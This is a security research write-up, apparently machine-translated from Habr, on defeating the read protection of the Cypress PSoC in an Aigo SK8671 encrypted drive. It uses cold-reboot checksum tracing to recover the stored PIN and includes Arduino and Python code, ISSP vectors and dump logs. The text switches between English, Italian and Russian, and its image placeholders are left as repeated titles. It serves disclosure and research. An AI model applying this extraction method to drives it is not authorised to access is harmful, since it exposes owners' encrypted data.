Reverse engineering and hacking the self-encrypting external HDD drive Aigo. Part 2: Dumping from Cypress PSoC

This is the second and final part of the article on hacking external self-encrypting drives. As a reminder, a colleague recently brought me a Patriot (Aigo) SK8671 hard drive, and I decided to reverse engineer it; now I'm sharing what I discovered. Before continuing, please read up on prima parte dell'articolo.

4. We begin by dumping the internal flash of the PSoC
5. ISSP protocol
– 5.1. What is ISSP
– 5.2. Demystifying the vectors
– 5.3. Communicating with the PSoC
– 5.4. Identification of on-chip registers
– 5.5. Security bits
6. First (failed) attack: ROMX
7. Second attack: tracing with cold reboot
– 7.1. Implementation
– 7.2. Reading the result
– 7.3. Reconstruction of the flash binary
– 7.4. Finding the PIN code storage address
– 7.5. Dumping block №126
– 7.6. Recovering the PIN code
8. What’s next?
9. Conclusion

Reverse engineering and hacking the self-encrypting external HDD drive Aigo. Part 2: Dumping from Cypress PSoC


4. We begin by dumping the internal flash of the PSoC

So, everything points to the fact (as we established in [the first part]()) that the PIN code is stored in the flash depths of the PSoC. Therefore, we need to read these flash depths. The front of the necessary work:

  • take control of the ‘communication’ with the microcontroller;
  • trovare un modo per verificare se questa "comunicazione" è protetta da letture esterne;
  • trovare un modo per eludere la protezione.

Ci sono due posti dove ha senso cercare un codice PIN funzionante:

  • memoria flash interna;
  • SRAM, dove il codice PIN può essere memorizzato per confrontarlo con quello inserito dall'utente.

Anticipando, posso dire che sono riuscito a estrarre il dump della flash interna del PSoC, eludendo il suo sistema di protezione tramite un attacco hardware chiamato "tracing con cold reboot" – dopo aver eseguito il reverse engineering delle funzionalità non documentate del protocollo ISSP. Questo mi ha permesso di prelevare direttamente il dump del codice PIN attivo.

$ ./psoc.py 
syncing: KO OK
[...]
PIN: 1 2 3 4 5 6 7 8 9

Codice sorgente finale:

5. ISSP protocol

5.1. Che cos'è ISSP

"Comunicazione" con il microcontrollore può significare diverse cose: da "vendor a vendor", fino all'interazione utilizzando un protocollo seriale (per esempio, ICSP per il PIC di Microchip).

Per Cypress, esiste un protocollo proprietario chiamato ISSP (in-system serial programming protocol; protocollo di programmazione seriale in-sistema), che è parzialmente descritto nella specifica tecnica. Brevetto US7185162 fornisce anche alcune informazioni. Esiste anche un'alternativa OpenSource chiamata HSSP (ne faremo uso più avanti). L'ISSP funziona nel seguente modo:

  • riavviare il PSoC;
  • emettere un numero magico sul pin dei dati seriali di questo PSoC; per entrare in modalità di programmazione esterna;
  • inviare comandi che sono lunghe stringhe di bit, chiamate 'vettori'.

Nella documentazione dell'ISSP, questi vettori sono definiti solo per un piccolo numero di comandi:

  • Inizializza-1
  • Inizializza-2
  • Inizializza-3 (opzioni 3V e 5V)
  • ID-IMPOSTAZIONE
  • LETTURA-ID-WORD
  • IMPOSTA-NUM-BLOCK: 10011111010dddddddd111, dove dddddddd=numero del blocco
  • CANCELLAZIONE IN MASSA
  • PROGRAMMA-BLOCK
  • VERIFICA-IMPOSTAZIONE
  • LETTURA-BYTE: 10110aaaaaaZDDDDDDDDZ1, dove DDDDDDDD = dati in uscita, aaaaaa = indirizzo (6 bit)
  • SCRIVI-BYTE: 10010aaaaaadddddddd111, dove dddddddd = dati in ingresso, aaaaaa = indirizzo (6 bit)
  • SICURO
  • IMPOSTAZIONE-CHECKSUM
  • LETTURA-CHECKSUM: 10111111001ZDDDDDDDDZ110111111000ZDDDDDDDDZ1, dove DDDDDDDDDDDDDDDD = dati in uscita: checksum del dispositivo
  • CANCELLA BLOCCO

Ad esempio, il vettore per Inizializza-2:

1101111011100000000111 1101111011000000000111
1001111100000111010111 1001111100100000011111
1101111010100000000111 1101111010000000011111
1001111101110000000111 1101111100100110000111
1101111101001000000111 1001111101000000001111
1101111000000000110111 1101111100000000000111
1101111111100010010111

Tutti i vettori hanno la stessa lunghezza: 22 bit. Nella documentazione dell'HSSP ci sono alcune ulteriori informazioni sull'ISSP: 'Il vettore ISSP non è altro che una sequenza di bit che rappresenta un insieme di istruzioni'.

5.2. Demistificazione dei vettori

Vediamo cosa sta succedendo qui. Inizialmente pensavo che questi vettori rappresentassero varianti raw delle istruzioni M8C, ma verificando questa ipotesi, ho scoperto che gli opcode delle operazioni non coincidono.

Poi ho fatto una ricerca su Google sul vettore sopra menzionato e mi sono imbattuto in questo studio, dove l'autore, pur non entrando nei dettagli, offre alcuni suggerimenti utili: «Ogni istruzione inizia con tre bit, che corrispondono a una delle quattro mnemoniche (leggi dalla RAM, scrivi nella RAM, leggi il registro, scrivi nel registro). Seguono 8 bit di indirizzo, dopo i quali ci sono 8 bit di dati (lettura o scrittura) e infine tre bit di stop».

Successivamente, sono riuscito a trarre informazioni molto utili dalla sezione «Supervisory ROM (SROM)» del manuale tecnico. SROM è una ROM hard-coded nel PSoC, che fornisce funzioni di servizio (sullo stesso principio delle syscall), per il codice eseguito nello spazio utenti:

  • 00h: SWBootReset
  • 01h: ReadBlock
  • 02h: WriteBlock
  • 03h: EraseBlock
  • 06h: TableRead
  • 07h: CheckSum
  • 08h: Calibrate0
  • 09h: Calibrate1

Confrontando i nomi dei vettori con le funzioni SROM, possiamo mappare le diverse operazioni supportate da questo protocollo – con i parametri SROM attesi. Grazie a ciò, possiamo decodificare i primi tre bit dei vettori ISSP:

  • 100 => “wrmem”
  • 101 => “rdmem”
  • 110 => “wrreg”
  • 111 => “rdreg”

Tuttavia, una comprensione completa dei processi interni del chip può essere ottenuta solo attraverso un’interazione diretta con PSoC.

5.3. Comunicazione con PSoC

Poiché Dirk Petrautski ha già portato il codice HSSP di Cypress su Arduino, ho utilizzato un Arduino Uno per connettermi al connettore ISSP della scheda della tastiera.

Si noti che durante la mia ricerca, ho modificato il codice di Dirk in modo significativo. La mia modifica può essere trovata su GitHub: qui e il relativo script Python per comunicare con Arduino, nel mio repository cypress_psoc_tools.

Quindi, utilizzando Arduino, inizialmente ho usato solo i vettori "ufficiali" per la comunicazione. Ho tentato di leggere la ROM interna, utilizzando il comando VERIFY. Come previsto, non ci sono riuscito. Probabilmente a causa del fatto che all'interno della memoria flash sono attivati i bit di protezione dalla lettura.

Poi ho creato alcuni semplici vettori per la lettura e la scrittura della memoria/registri. Notare che possiamo leggere tutto lo SROM, anche se la flash è protetta!

5.4. Identificazione dei registri interni al chip

Guardando i vettori "disassemblati", ho scoperto che il dispositivo utilizza registri non documentati (0xF8-0xFA) per indicare gli opcode M8C, che vengono eseguiti direttamente, eludendo la protezione. Questo mi ha permesso di eseguire vari opcode, come "ADD", "MOV A, X", "PUSH" o "JMP". Grazie a loro (osservando gli effetti collaterali che hanno sui registri) sono riuscito a determinare quali di questi registri non documentati sono effettivamente registri normali (A, X, SP e PC).

Alla fine, il codice "disassemblato" generato dallo strumento HSSP_disas.rb appare così (per chiarezza ho aggiunto commenti):

--== init2 ==--
[DE E0 1C] wrreg CPU_F (f7), 0x00   # reset flags
[DE C0 1C] wrreg SP (f6), 0x00      # reset SP
[9F 07 5C] wrmem KEY1, 0x3A     # mandatory argument for SSC
[9F 20 7C] wrmem KEY2, 0x03     # similarly
[DE A0 1C] wrreg PCh (f5), 0x00     # reset PC (MSB) ...
[DE 80 7C] wrreg PCl (f4), 0x03     # (LSB) ... to 3 ??
[9F 70 1C] wrmem POINTER, 0x80      # RAM pointer for output data
[DF 26 1C] wrreg opc1 (f9), 0x30        # Opcode 1 => "HALT"
[DF 48 1C] wrreg opc2 (fa), 0x40        # Opcode 2 => "NOP"
[9F 40 3C] wrmem BLOCKID, 0x01  # BLOCK ID for calling SSC
[DE 00 DC] wrreg A (f0), 0x06       # syscall number: TableRead
[DF 00 1C] wrreg opc0 (f8), 0x00        # Opcode for SSC, "Supervisory SROM Call"
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12    # Undocumented operation: execute external opcode

5.5. Bit di protezione

A questo punto, posso già comunicare con il PSoC, ma non ho ancora informazioni attendibili sui bit di protezione della memoria flash. Sono rimasto molto sorpreso dal fatto che Cypress non fornisca all'utente alcun mezzo per verificare se la protezione è attivata. Ho approfondito su Google per capire che il codice HSSP fornito da Cypress è stato aggiornato dopo che Dirk aveva rilasciato la sua modifica. Ecco! È emerso un nuovo vettore:

[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[9F A0 1C] wrmem 0xFD, 0x00 # argomenti sconosciuti
[9F E0 1C] wrmem 0xFF, 0x00 # analogamente
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 02 1C] wrreg A (f0), 0x10   # syscall non documentato!
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

Utilizzando questo vettore (vedi read_security_data in psoc.py), otteniamo tutti i bit di protezione nella SRAM in 0x80, dove per ogni blocco protetto ci sono due bit.

Il risultato è deludente: tutto è protetto in modalità «disattiva lettura e scrittura esterne». Quindi non solo non possiamo leggere nulla dalla flash, ma non possiamo nemmeno scrivere (ad esempio, per inserire un dump della ROM). L'unico modo per disattivare la protezione è cancellare completamente l'intero chip. 🙁

6. First (failed) attack: ROMX

Possiamo però provare a fare il seguente trucco: dato che abbiamo la possibilità di eseguire opcodes arbitrari, perché non eseguire ROMX, utilizzato per la lettura della memoria flash? Questo approccio ha buone possibilità di successo. Perché la funzione ReadBlock, che legge i dati da SROM (che è utilizzata dai vettori), verifica se viene chiamata da ISSP. Tuttavia, l'opcode ROMX, presumibilmente, potrebbe non avere tale verifica. Ecco quindi il codice Python (dopo aver aggiunto alcune classi di supporto al codice Arduino in C):

for i in range(0, 8192):
    write_reg(0xF0, i>>8)       # A = 0
    write_reg(0xF3, i&0xFF)     # X = 0
    exec_opcodes("x28x30x40")    # ROMX, HALT, NOP
    byte = read_reg(0xF0)       # ROMX reads ROM[A|X] into A
    print "%02x" % ord(byte[0]) # print ROM byte

Sfortunatamente, questo codice non funziona. 🙁 Anzi, funziona, ma in uscita otteniamo i nostri stessi opcodes (0x28 0x30 0x40)! Non credo che la funzionalità corrispondente del dispositivo sia un elemento di protezione dalla lettura. Sembrerebbe più un trucco ingegneristico: durante l'esecuzione di opcodes esterni, il bus ROM viene reindirizzato a un buffer temporaneo.

7. Second attack: tracing with cold reboot

Poiché il trucco con ROMX non ha funzionato, ho iniziato a considerare un'altra variazione di questo trucco, descritta in una pubblicazione. «Illuminare troppo sulla protezione del firmware di un microcontrollore».

7.1. Implementazione

La documentazione dell'ISSP fornisce il seguente vettore per CHECKSUM-SETUP:

[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[9F 40 1C] wrmem BLOCKID, 0x00
[DE 00 FC] wrreg A (f0), 0x07
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

Qui si effettuano essenzialmente chiamate alla funzione SROM 0x07, come indicato nella documentazione (corsivo mio):

Questa è la funzione di verifica del controllo. Calcola una somma di controllo a 16 bit per il numero di blocchi specificato dall'utente, partendo da zero in un singolo flash bank. Il parametro BLOCKID viene utilizzato per passare il numero di blocchi che verranno utilizzati nel calcolo della somma di controllo. Il valore «1» calcolerà la somma di controllo solo per il blocco zero; mentre «0» farà sì che venga calcolata la somma di controllo totale di tutti e 256 blocchi della flash bank. La somma di controllo a 16 bit viene restituita tramite KEY1 e KEY2. Nel parametro KEY1 sono registrati gli 8 bit inferiori del checksum, mentre in KEY2 sono registrati gli 8 bit superiori. Per i dispositivi con più banchi flash, la funzione di checksum viene chiamata per ciascuno separatamente. Il numero del banco con cui lavorerà è specificato nel registro FLS_PR1 (impostando il bit corrispondente al banco flash di destinazione).

Si noti che questo è il checksum più semplice: i byte vengono semplicemente sommati uno dopo l'altro; nessun CRC complicato. Inoltre, considerando che nel core M8C l'insieme di registri è molto limitato, ho supposto che durante il calcolo del checksum, i valori intermedi sarebbero registrati nelle stesse variabili che infine andranno in output: KEY1 (0xF8) / KEY2 (0xF9).

Quindi, in teoria, il mio attacco appare così:

  1. Ci connettiamo tramite ISSP.
  2. Avviamo il calcolo del checksum, utilizzando il vettore CHECKSUM-SETUP.
  3. Riavviamo il processore dopo un certo tempo T.
  4. Leggiamo la RAM per ottenere l'attuale checksum C.
  5. Ripetiamo i passaggi 3 e 4, aumentando ogni volta leggermente T.
  6. Ripristiniamo i dati dalla flash, sottraendo il precedente checksum C da quello attuale.

Tuttavia, si è verificato un problema: il vettore Initialize-1 che dobbiamo inviare dopo il riavvio sovrascrive KEY1 e KEY2:

1100101000000000000000  # Magia che mette il PSoC in modalità programmazione
nop
nop
nop
nop
nop
[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A # la somma di controllo viene sovrascritta qui
[9F 20 7C] wrmem KEY2, 0x03 # e qui
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 01 3C] wrreg A (f0), 0x09   # Funzione SROM 9
[DF 00 1C] wrreg opc0 (f8), 0x00    # SSC
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

Questo codice sovrascrive la nostra preziosa somma di controllo, attivando Calibrate1 (funzione SROM 9)… Forse possiamo semplicemente inviare un numero magico (dall'inizio del codice sopra) per entrare in modalità programmazione e poi leggere SRAM? E sì, funziona! Il codice Arduino che implementa questo attacco è piuttosto semplice:

case Cmnd_STK_START_CSUM:
    checksum_delay = ((uint32_t)getch())<<24;
    checksum_delay |= ((uint32_t)getch())<<16;
    checksum_delay |= ((uint32_t)getch())<<8;
    checksum_delay |= getch();
    if(checksum_delay > 10000) {
        ms_delay = checksum_delay/1000;
        checksum_delay = checksum_delay%1000;
    }
    else {
        ms_delay = 0;
    }
    send_checksum_v();
    if(checksum_delay)
        delayMicroseconds(checksum_delay);
    delay(ms_delay);
    start_pmode();

  1. Leggi checksum_delay.
  2. Avviare il calcolo del checksum (send_checksum_v).
  3. Attendere un intervallo di tempo prestabilito, tenendo conto dei seguenti ostacoli:
    • ho perso un sacco di tempo prima di scoprire che in effetti delayMicroseconds funziona correttamente solo con ritardi non superiori a 16383 μs;
    • e poi ho perso altrettanto tempo prima di scoprire che delayMicroseconds, se viene passata 0, funziona in modo completamente errato!
  4. Riavviare il PSoC in modalità programmazione (inviamo semplicemente un numero magico, senza inviare vettori di inizializzazione).

Codice finale in Python:

for delay in range(0, 150000):  # задержка в микросекундах
    for i in range(0, 10):      # количество считывания для каждойиз задержек
        try:
            reset_psoc(quiet=True)  # перезагрузка и вход в режим программирования
            send_vectors()      # отправка инициализирующих векторов
            ser.write("x85"+struct.pack(">I", delay)) # вычислить контрольную сумму + перезагрузиться после задержки
            res = ser.read(1)       # считать arduino ACK
        except Exception as e:
            print e
            ser.close()
            os.system("timeout -s KILL 1s picocom -b 115200 /dev/ttyACM0 2>&1 > /dev/null")
            ser = serial.Serial('/dev/ttyACM0', 115200, timeout=0.5) # открыть последовательный порт
            continue
        print "%05d %02X %02X %02X" % (delay,      # считать RAM-байты
                read_regb(0xf1),
                read_ramb(0xf8),
                read_ramb(0xf9))

In poche parole, cosa fa questo codice:

  1. Riavvia PSoC (e gli invia un numero magico).
  2. Invia vettori di inizializzazione completi.
  3. Chiama la funzione Arduino Cmnd_STK_START_CSUM (0x85), a cui viene passata la latenza in microsecondi come parametro.
  4. Legge il checksum (0xF8 e 0xF9) e il registro non documentato 0xF1.

Questo codice viene eseguito 10 volte in 1 microsecondo. 0xF1 è incluso qui, poiché era l'unico registro che cambiava durante il calcolo del checksum. Potrebbe trattarsi di una variabile temporanea utilizzata dall'unità aritmetico-logica. Fai attenzione al brutto hack che utilizzo per riavviare l'Arduino usando picocom, quando l'Arduino smette di dare segni di vita (non ho idea del perché).

7.2. Leggi il risultato

Il risultato dell'esecuzione dello script Python appare così (semplificato per leggibilità):

DELAY F1 F8 F9  # F1 – registro sconosciuto sopra menzionato
                  # F8 byte meno significativo del checksum
                  # F9 byte più significativo del checksum

00000 03 E1 19
[...]
00016 F9 00 03
00016 F9 00 00
00016 F9 00 03
00016 F9 00 03
00016 F9 00 03
00016 F9 00 00  # checksum ripristinato a 0
00017 FB 00 00
[...]
00023 F8 00 00
00024 80 80 00  # 1° byte: 0x0080-0x0000 = 0x80 
00024 80 80 00
00024 80 80 00
[...]
00057 CC E7 00   # 2° byte: 0xE7-0x80: 0x67
00057 CC E7 00
00057 01 17 01  # non ho idea di cosa stia succedendo qui
00057 01 17 01
00057 01 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 F8 E7 00  # Di nuovo E7?
00058 D0 17 01
[...]
00059 E7 E7 00
00060 17 17 00  # Hmmmmm
[...]
00062 00 17 00
00062 00 17 00
00063 01 17 01  # Ah, capito! Ecco il trasferimento al byte superiore
00063 01 17 01
[...]
00075 CC 17 01  # Quindi, 0x117-0xE7: 0x30

При этом у нас есть проблема: поскольку мы оперируем фактической контрольной суммой, нулевой байт не меняет считанное значение. Однако поскольку вся процедура вычисления (8192 байта) занимает 0,1478 секунд (с небольшими отклонениями при каждом запуске), что примерно соответствует 18,04 мкс на байт, – мы можем использовать это время для проверки значения контрольной суммы в подходящие моменты времени. Для первых прогонов всё считывается довольно-таки легко, поскольку длительность выполнения вычислительной процедуры всегда практически одинаковая. Однако конец этого дампа менее точен, потому что «незначительные отклонения по времени» при каждом прогоне – суммируются, и становятся значительными:

134023 D0 02 DD
134023 CC D2 DC
134023 CC D2 DC
134023 CC D2 DC
134023 FB D2 DC
134023 3F D2 DC
134023 CC D2 DC
134024 02 02 DC
134024 CC D2 DC
134024 F9 02 DC
134024 03 02 DD
134024 21 02 DD
134024 02 D2 DC
134024 02 02 DC
134024 02 02 DC
134024 F8 D2 DC
134024 F8 D2 DC
134025 CC D2 DC
134025 EF D2 DC
134025 21 02 DD
134025 F8 D2 DC
134025 21 02 DD
134025 CC D2 DC
134025 04 D2 DC
134025 FB D2 DC
134025 CC D2 DC
134025 FB 02 DD
134026 03 02 DD
134026 21 02 DD

Это 10 дампов для каждой микросекундной задержки. Общее время работы для снятия дампа всех 8192 байт флешки, составляет порядка 48 часов.

7.3. Ricostruzione del flash firmware

Non ho ancora completato la scrittura del codice che ricostruisce completamente il codice software della chiavetta, tenendo conto di tutte le deviazioni temporali. Tuttavia, ho già recuperato l'inizio di questo codice. Per verificare se l'ho fatto correttamente, l'ho dissassemblato con l'aiuto di m8cdis:

0000: 80 67   jmp  0068h     ; Vettore di reset
[...]
0068: 71 10   or  F,010h
006a: 62 e3 87 mov  reg[VLT_CR],087h
006d: 70 ef   and  F,0efh
006f: 41 fe fb and  reg[CPU_SCR1],0fbh
0072: 50 80   mov  A,080h
0074: 4e    swap A,SP
0075: 55 fa 01 mov  [0fah],001h
0078: 4f    mov  X,SP
0079: 5b    mov  A,X
007a: 01 03   add  A,003h
007c: 53 f9   mov  [0f9h],A
007e: 55 f8 3a mov  [0f8h],03ah
0081: 50 06   mov  A,006h
0083: 00    ssc
[...]
0122: 18    pop  A
0123: 71 10   or  F,010h
0125: 43 e3 10 or  reg[VLT_CR],010h
0128: 70 00   and  F,000h ; Modalità di paging cambiata da 3 a 0
012a: ef 62   jacc 008dh
012c: e0 00   jacc 012dh
012e: 71 10   or  F,010h
0130: 62 e0 02 mov  reg[OSC_CR0],002h
0133: 70 ef   and  F,0efh
0135: 62 e2 00 mov  reg[INT_VC],000h
0138: 7c 19 30 lcall 1930h
013b: 8f ff   jmp  013bh
013d: 50 08   mov  A,008h
013f: 7f    ret

Sembra del tutto plausibile!

7.4. Troviamo l'indirizzo di memorizzazione del pin code

Ora che possiamo leggere la somma di controllo nei momenti giusti, possiamo facilmente controllare come e dove cambia quando noi:

  • inseriamo un pin code errato;
  • cambiamo il pin code.

All'inizio, per trovare un indirizzo di memorizzazione approssimativo, ho preso un dump del checksum ogni 10 ms, dopo il riavvio. Poi ho inserito un PIN errato e ho fatto lo stesso.

Il risultato è stato piuttosto spiacevole, poiché ci sono stati molti cambiamenti. Ma alla fine sono riuscito a stabilire che il checksum è cambiato da qualche parte nel range tra 120000 µs e 140000 µs di ritardo. Tuttavia, il "PIN" che ho trovato lì era assolutamente errato, a causa di un artefatto della procedura delayMicroseconds, che compie cose strane quando le viene passato 0.

Poi, dopo aver speso quasi 3 ore, mi sono ricordato che la chiamata di sistema SROM CheckSum riceve come argomento il numero di blocchi per il checksum! Così possiamo facilmente localizzare l'indirizzo di memorizzazione del PIN e del contatore delle "tentativi errati", con precisione fino a un blocco di 64 byte.

I miei test iniziali hanno dato il seguente risultato:

Reverse engineering and hacking the self-encrypting external HDD drive Aigo. Part 2: Dumping from Cypress PSoC

Poi ho cambiato il PIN da "123456" a "1234567" e ho ottenuto:

Reverse engineering and hacking the self-encrypting external HDD drive Aigo. Part 2: Dumping from Cypress PSoC

Quindi, il PIN e il contatore dei tentativi errati sembrano essere memorizzati nel blocco n. 126.

7.5. Effettuiamo il dump del blocco n. 126

Il blocco n. 126 dovrebbe trovarsi intorno a 125x64x18 = 144000μs, dall'inizio del calcolo del checksum, nel mio dump completo, e sembra piuttosto plausibile. Poi, dopo aver effettuato una selezione manuale di numerosi dump errati (a causa dell'accumulo di 'lievi deviazioni nel tempo'), ho ottenuto questi byte (con un ritardo di 145527μs):

Reverse engineering and hacking the self-encrypting external HDD drive Aigo. Part 2: Dumping from Cypress PSoC

È assolutamente chiaro che il PIN è conservato in forma non crittografata! Questi valori non sono ovviamente registrati in codici ASCII, ma, come si è dimostrato, riflettono le letture registrate dalla tastiera capacitiva.

Infine, ho condotto ulteriori test per scoprire dove viene memorizzato il contatore dei tentativi errati. Ecco il risultato:

Reverse engineering and hacking the self-encrypting external HDD drive Aigo. Part 2: Dumping from Cypress PSoC

0xFF – significa '15 tentativi', e diminuisce ad ogni tentativo errato.

7.6. Recupero del PIN

Ecco il mio codice brutto che raccoglie tutto quanto sopra:

def dump_pin():
  pin_map = {0x24: "0", 0x25: "1", 0x26: "2", 0x27:"3", 0x20: "4", 0x21: "5",
        0x22: "6", 0x23: "7", 0x2c: "8", 0x2d: "9"}
  last_csum = 0
  pin_bytes = []
  for delay in range(145495, 145719, 16):
    csum = csum_at(delay, 1)
    byte = (csum-last_csum)&0xFF
    print "%05d %04x (%04x) => %02x" % (delay, csum, last_csum, byte)
    pin_bytes.append(byte)
    last_csum = csum
  print "PIN: ",
  for i in range(0, len(pin_bytes)):
    if pin_bytes[i] in pin_map:
      print pin_map[pin_bytes[i]],
  print

Ecco il risultato della sua esecuzione:

$ ./psoc.py 
syncing: KO OK
Resetting PSoC: KO Resetting PSoC: KO Resetting PSoC: OK
145495 53e2 (0000) => e2
145511 5407 (53e2) => 25
145527 542d (5407) => 26
145543 5454 (542d) => 27
145559 5474 (5454) => 20
145575 5495 (5474) => 21
145591 54b7 (5495) => 22
145607 54da (54b7) => 23
145623 5506 (54da) => 2c
145639 5506 (5506) => 00
145655 5533 (5506) => 2d
145671 554c (5533) => 19
145687 554e (554c) => 02
145703 554e (554e) => 00
PIN: 1 2 3 4 5 6 7 8 9

Evviva! Funziona!

Si prega di notare che i valori di ritardo che ho utilizzato sono probabilmente validi per un particolare PSoC - quello che ho usato.

8. What’s next?

Quindi, riassumiamo dalla parte del PSoC, nel contesto del nostro drive Aigo:

  • possiamo leggere la SRAM, anche se è protetta dalla lettura;
  • possiamo aggirare la protezione dalla lettura, tramite un attacco di "traccia con riavvio a freddo", e la lettura diretta del codice PIN.

Tuttavia, il nostro attacco presenta alcune lacune – a causa di problemi di sincronizzazione. Potrebbe essere migliorato nel seguente modo:

  • scrivere un'utilità per decodificare correttamente i dati di output ottenuti tramite l'attacco di "traccia con riavvio a freddo";
  • usare un accessorio FPGA per creare ritardi temporali più precisi (oppure utilizzare timer hardware Arduino);
  • provare un altro attacco: inserire un PIN errato, riavviare e scaricare la RAM, sperando che il PIN corretto venga conservato nella RAM per un confronto. Tuttavia, su Arduino non è così semplice, poiché il livello di segnale dell'Arduino è di 5 volt, mentre la scheda che stiamo esaminando opera con segnali a 3,3 volt.

Una cosa interessante da provare potrebbe essere quella di giocare con il livello di tensione, per bypassare la protezione dalla lettura. Se tale approccio funzionasse, potremmo ottenere dati assolutamente precisi dalla flash, invece di fare affidamento sulla lettura del checksum con ritardi temporali imprecisi.

Poiché SROM probabilmente legge i bit protettivi tramite la chiamata di sistema ReadBlock, potremmo fare la stessa cosa è descritto nel blog di Dmitry Nedospasov – una rielaborazione dell'attacco di Chris Gerlinski, annunciato alla conferenza «REcon Brussels 2017».

Un'altra cosa interessante che si potrebbe fare è rifilare il corpo del chip: per estrarre il dump SRAM, identificare le chiamate di sistema non documentate e le vulnerabilità.

9. Conclusion

Quindi, la protezione di questo dispositivo lascia a desiderare, perché utilizza un microcontrollore normale (non 'rinforzato') per memorizzare il PIN... Inoltre, non ho ancora controllato (per ora) come stia andando la crittografia dei dati su questo dispositivo!

Cosa posso consigliare per Aigo? Dopo aver analizzato un paio di modelli di hard disk crittografati, ho fatto nel 2015 una presentazione al SyScan, in cui ho trattato i problemi di sicurezza di vari hard disk esterni e ho fornito raccomandazioni su come migliorarli. 🙂

Ho dedicato due fine settimana e alcune serate a questa ricerca. In totale, circa 40 ore. Dall'inizio (quando ho aperto l'unità) alla fine (dump del PIN). Queste 40 ore includono anche il tempo che ho impiegato per scrivere questo articolo. È stato un viaggio molto interessante.

Fonte: habr.com

Acquista hosting affidabile per siti web con protezione DDoS, VPS VDS server 🔥 Acquista hosting affidabile per siti web con protezione DDoS, VPS VDS server | ProHoster